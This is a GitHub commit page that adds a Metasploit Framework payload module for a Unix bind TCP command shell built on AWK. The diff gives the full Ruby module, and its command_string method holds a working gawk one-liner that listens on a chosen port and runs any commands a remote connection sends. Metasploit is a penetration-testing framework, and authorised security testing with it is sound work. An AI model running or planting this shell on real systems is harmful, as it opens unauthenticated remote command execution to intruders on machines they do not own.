Skip to content

Commit 1596fb4

Browse files
committed
Land rapid7#1886, awk bind shell
2 parents 8ffa4ac + b20401c commit 1596fb4

File tree

1 file changed

+56
-0
lines changed

1 file changed

+56
-0
lines changed
Lines changed: 56 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,56 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
require 'msf/core/handler/bind_tcp'
10+
require 'msf/base/sessions/command_shell'
11+
require 'msf/base/sessions/command_shell_options'
12+
13+
module Metasploit4
14+
15+
include Msf::Payload::Single
16+
include Msf::Sessions::CommandShellOptions
17+
18+
def initialize(info = {})
19+
super(merge_info(info,
20+
'Name' => 'Unix Command Shell, Bind TCP (via AWK)',
21+
'Description' => 'Listen for a connection and spawn a command shell via AWK',
22+
'Author' =>
23+
[
24+
'espreto <robertoespreto[at]gmail.com>',
25+
'Ulisses Castro <uss.thebug[at]gmail.com>'
26+
],
27+
'License' => MSF_LICENSE,
28+
'Platform' => 'unix',
29+
'Arch' => ARCH_CMD,
30+
'Handler' => Msf::Handler::BindTcp,
31+
'Session' => Msf::Sessions::CommandShell,
32+
'PayloadType' => 'cmd',
33+
'RequiredCmd' => 'gawk',
34+
'Payload' =>
35+
{
36+
'Offsets' => { },
37+
'Payload' => ''
38+
}
39+
))
40+
end
41+
42+
#
43+
# Constructs the payload
44+
#
45+
def generate
46+
return super + command_string
47+
end
48+
49+
#
50+
# Returns the command string to use for execution
51+
#
52+
def command_string
53+
"awk 'BEGIN{s=\"/inet/tcp/#{datastore['LPORT']}/0/0\";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'"
54+
end
55+
56+
end

0 commit comments

Comments
 (0)